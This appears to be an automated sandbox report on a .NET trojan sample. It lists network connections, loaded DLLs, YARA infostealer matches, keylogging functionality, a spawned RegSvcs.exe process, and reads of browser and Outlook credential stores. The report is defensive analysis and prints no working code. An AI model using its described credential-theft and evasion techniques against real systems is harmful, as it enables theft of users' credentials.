Source: unknown	Network traffic detected: HTTP traffic on port 51471 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52594
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51424
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51421
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53600
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55467
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52599
Source: unknown	Network traffic detected: HTTP traffic on port 53142 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55195
Source: unknown	Network traffic detected: HTTP traffic on port 50305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52599 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53218
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51838
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51793
Source: unknown	Network traffic detected: HTTP traffic on port 54911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55467 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51791
Source: unknown	Network traffic detected: HTTP traffic on port 50723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51418 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55510
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55512
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53182
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55761
Source: unknown	Network traffic detected: HTTP traffic on port 54118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55552 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53182 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51844
Source: unknown	Network traffic detected: HTTP traffic on port 53602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51842
Source: unknown	Network traffic detected: HTTP traffic on port 52588 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53589
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52896
Source: unknown	Network traffic detected: HTTP traffic on port 54091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53231
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53594
Source: unknown	Network traffic detected: HTTP traffic on port 51424 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53137 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54726
Source: unknown	Network traffic detected: HTTP traffic on port 49994 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55205 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53233
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55411
Source: unknown	Network traffic detected: HTTP traffic on port 53231 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 55850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55101 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51417 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52592 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51463
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53246
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55427
Source: unknown	Network traffic detected: HTTP traffic on port 54729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51465
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51470
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51471
Source: unknown	Network traffic detected: HTTP traffic on port 55201 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55465 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50309 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50306
Source: unknown	Network traffic detected: HTTP traffic on port 51844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50305
Source: unknown	Network traffic detected: HTTP traffic on port 51791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50307
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50309
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50780
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55557
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53134
Source: unknown	Network traffic detected: HTTP traffic on port 50786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51470 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54108
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53137
Source: unknown	Network traffic detected: HTTP traffic on port 55411 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52053
Source: unknown	Network traffic detected: HTTP traffic on port 51838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53142
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 53140
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50709
Source: unknown	Network traffic detected: HTTP traffic on port 50713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51421 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50713
Source: unknown	Network traffic detected: HTTP traffic on port 51463 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52594 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53218 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54918
Source: unknown	Network traffic detected: HTTP traffic on port 54108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55205
Source: unknown	Network traffic detected: HTTP traffic on port 53233 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54118
Source: unknown	Network traffic detected: HTTP traffic on port 52049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55203
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52060
Source: unknown	Network traffic detected: HTTP traffic on port 55761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50718
Source: unknown	Network traffic detected: HTTP traffic on port 51839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51417
Source: unknown	Network traffic detected: HTTP traffic on port 55557 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50723
Source: unknown	Network traffic detected: HTTP traffic on port 55427 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51418
Source: unknown	Network traffic detected: HTTP traffic on port 52060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 53594 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52105
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55850
Source: unknown	Network traffic detected: HTTP traffic on port 50709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52588
Source: unknown	Network traffic detected: HTTP traffic on port 50780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55584
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55101
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52592
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50291
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50294
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 51796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54091
Source: unknown	Network traffic detected: HTTP traffic on port 55512 -> 443

Source: unknown	HTTPS traffic detected: 140.82.113.4:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.190.93:443 -> 192.168.2.8:51842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.190.93:443 -> 192.168.2.8:52896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 102.223.20.217:443 -> 192.168.2.8:53182 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 222.255.238.159:443 -> 192.168.2.8:55101 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Contains functionality to log keystrokes (.Net Source)

Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, 5apE.cs	.Net Code: zKS2DJy2
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.raw.unpack, 5apE.cs	.Net Code: zKS2DJy2

System Summary

Malicious sample detected (through community Yara rule)

Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables referencing Windows vault credential objects. Observed in infostealers Author: ditekSHen

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00FD4AC8	4_2_00FD4AC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00FDED48	4_2_00FDED48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00FDAD10	4_2_00FDAD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00FD3EB0	4_2_00FD3EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_00FD41F8	4_2_00FD41F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065BC100	4_2_065BC100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065BA868	4_2_065BA868
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065D65C8	4_2_065D65C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065DB218	4_2_065DB218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065D2358	4_2_065D2358
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065D5178	4_2_065D5178
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065DC168	4_2_065DC168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065D7D58	4_2_065D7D58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065D7678	4_2_065D7678
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065DB208	4_2_065DB208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065DE388	4_2_065DE388
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065D0040	4_2_065D0040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065D58C0	4_2_065D58C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4_2_065D0006	4_2_065D0006

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Static PE information: No import functions for PE file found

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D9427000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename3b0f990c-a908-473c-b5a6-4b6fac711c4c.exe@ vs SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D80E6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilename3b0f990c-a908-473c-b5a6-4b6fac711c4c.exe@ vs SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000000.1512800837.00000194C4402000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameMakeForever.exe8 vs SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.2049795050.00000194D679C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameOwirinaveripog< vs SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Binary or memory string: OriginalFilenameMakeForever.exe8 vs SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: cryptnet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Section loaded: cabinet.dll	Jump to behavior

Source: 4.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d94271b0.2.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID author = ditekSHen, description = Detects executables referencing Windows vault credential objects. Observed in infostealers

Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, kPa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, kPa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, kPa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, kPa.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, xdFgn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, xdFgn.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, zI2.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.194d832d050.0.raw.unpack, zI2.cs	Cryptographic APIs: 'TransformFinalBlock', 'CreateDecryptor'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@3/3@6/100

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe.log

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Static file information: TRID: Win64 Executable GUI Net Framework (217006/5) 49.88%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Virustotal: Detection: 31%

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

String found in binary or memory: -AddAcrossFILESUPERSEDE

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe	Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Static PE information: 0xFB5ACD4E [Mon Aug 20 05:46:54 2103 UTC]

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 4145
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 8083
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 3128
